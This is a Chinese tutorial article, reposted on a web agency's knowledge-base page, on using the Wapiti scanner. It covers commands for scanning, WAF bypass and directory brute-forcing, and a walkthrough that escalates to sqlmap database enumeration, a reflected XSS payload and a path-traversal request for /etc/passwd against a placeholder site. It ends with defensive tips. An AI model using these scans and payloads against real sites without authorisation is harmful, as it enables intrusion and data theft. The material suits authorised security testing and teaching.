广州总部电话:020-85564311
广州总部电话:020-85564311
20年
互联网应用服务商
请输入搜索关键词
知识库 知识库

优网知识库

探索行业前沿,共享知识宝库

Wapiti 渗透神器:一键扫描网站漏洞,精准定位安全风险!

发布日期:2025-04-07 08:42:58 浏览次数: 1004 来源:Linux运维技术之路


 









 

 


 

Wapiti 渗透神器:一键扫描网站漏洞,精准定位安全风险!

想要快速检测网站安全漏洞,找出潜在风险
强大安全扫描工具——Wapiti,自动化检测 SQL 注入、XSS、LFI 等漏洞!


1. 什么是 Wapiti

Wapiti 是一款强大的 Web 漏洞扫描工具,可自动化检测网站的各种安全漏洞,包括:

✅ SQL 注入(SQLi)
✅ 跨站脚本(XSS)
✅ 远程/本地文件包含(RFI/LFI)
✅ 命令注入(Command Injection)
✅ 不安全的 .htaccess 配置
✅ 敏感文件泄露(备份、日志等)
✅ 可绕过 WAF(Web 应用防火墙)

安装 Wapiti

# Debian / Ubuntu / Kali Linux
sudo apt install wapiti -y

# macOS
brew install wapiti

# 源码安装
git clone https://github.com/wapiti-scanner/wapiti.git
cd wapiti
pip install -r requirements.txt
python3 wapiti.py -h

查看 Wapiti 版本

wapiti -v

查看 Wapiti 帮助

wapiti -h

2. Wapiti 基础命令

扫描目标网站

wapiti -u http://target.com

默认进行全方位漏洞扫描

指定扫描的 HTTP 方法

wapiti -u http://target.com --methods GET,POST

可选择 GETPOSTPUTDELETE 进行深度测试

排除特定 URL

wapiti -u http://target.com -x logout.php

避免扫描 logout.php,防止自动退出账户

指定扫描模块

wapiti -u http://target.com --module sql,xss

仅扫描 SQL 注入和 XSS 漏洞,提高效率

启用 Cookie 认证

wapiti -u http://target.com --cookie "PHPSESSID=123456"

适用于测试需登录的网站后台

使用代理绕过防火墙

wapiti -u http://target.com --proxy http://127.0.0.1:8080

搭配 Burp Suite 进行流量分析

保存扫描结果

wapiti -u http://target.com -o report.html

支持 txtjsonxmlhtml 等格式,方便分析

⚡ 3. Wapiti 进阶玩法

设置扫描深度

wapiti -u http://target.com --max-depth 3

控制爬虫深入网站的层级,避免陷入死循环

测试 HTTP 头部注入

wapiti -u http://target.com --module header

检查网站是否存在 Host 伪造、CORS 配置错误

强制忽略 SSL 证书错误

wapiti -u https://target.com --verify-ssl 0

适用于测试自签名 SSL 证书的网站

绕过 WAF 防火墙

wapiti -u http://target.com --scan-force 3

调整扫描力度,避免触发安全拦截

暴力测试目录

wapiti -u http://target.com --bruteforce

查找隐藏目录(如 /admin//backup/

 4. 实战案例:从扫描到漏洞利用

目标站点:http://vulnerable.com
我们要使用 Wapiti 扫描漏洞,并手动利用高危漏洞!

第一步:扫描 SQL 注入

wapiti -u http://vulnerable.com --module sql

扫描结果:

  • • 发现 GET /product.php?id=1 存在 SQL 注入
  • • 漏洞级别:高危
  • • 建议利用工具:sqlmap

第二步:使用 SQLMap 进一步攻击

sqlmap -u "http://vulnerable.com/product.php?id=1" --dbs

成功获取数据库信息! ?


第三步:扫描 XSS

wapiti -u http://vulnerable.com --module xss

扫描结果:

  • • 发现 search.php?q=<script>alert(1)</script> 存在 反射型 XSS
  • • 漏洞级别:中危
  • • 建议测试手工注入

手动验证 XSS
访问:

http://vulnerable.com/search.php?q=<script>alert(1)</script>

如果弹出 alert(1),说明网站存在 XSS 漏洞!


第四步:文件包含漏洞(LFI)

wapiti -u http://vulnerable.com --module file

 扫描结果:

  • • 发现 download.php?file=../../etc/passwd 可能存在 LFI
  • • 漏洞级别:高危
  • • 建议手工测试

手工验证 LFI
访问:

http://vulnerable.com/download.php?file=../../etc/passwd

如果返回 Linux 用户信息,说明存在 LFI 漏洞! ?

 5. 如何防御 Wapiti 扫描

✅ 使用 WAF(Web 应用防火墙)拦截恶意扫描
✅ 屏蔽 User-Agent,限制扫描工具访问
✅ 检测异常流量,限制同一 IP 短时间访问频率
✅ 定期升级 Web 应用,修复已知漏洞
✅ 主动使用 Wapiti 进行自查,提前修复问题

6. 总结

 Wapiti 是强大的 Web 漏洞扫描工具,支持 SQL 注入、XSS、LFI 等自动检测!
配合 SQLMap、Burp Suite、Metasploit,能实现更深入的渗透测试!
防守方必须学会使用,定期自查,避免网站被黑!



优网科技,优秀企业首选的互联网供应服务商

优网科技秉承"专业团队、品质服务" 的经营理念,诚信务实的服务了近万家客户,成为众多世界500强、集团和上市公司的长期合作伙伴!

优网科技成立于2001年,擅长网站建设、网站与各类业务系统深度整合,致力于提供完善的企业互联网解决方案。优网科技提供PC端网站建设(品牌展示型、官方门户型、营销商务型、电子商务型、信息门户型、DIY体验、720全景展厅及3D虚拟仿真)、移动端应用(手机站APP开发)、微信定制开发(微信官网、微信商城、企业微信)、微信小程序定制开发等一系列互联网应用服务。


我要投稿

姓名

文章链接

提交即表示你已阅读并同意《个人信息保护声明》

专属顾问 专属顾问
扫码咨询您的优网专属顾问!
专属顾问
马上咨询
联系专属顾问
联系专属顾问
联系专属顾问
扫一扫马上咨询
扫一扫马上咨询

扫一扫马上咨询

和我们在线交谈!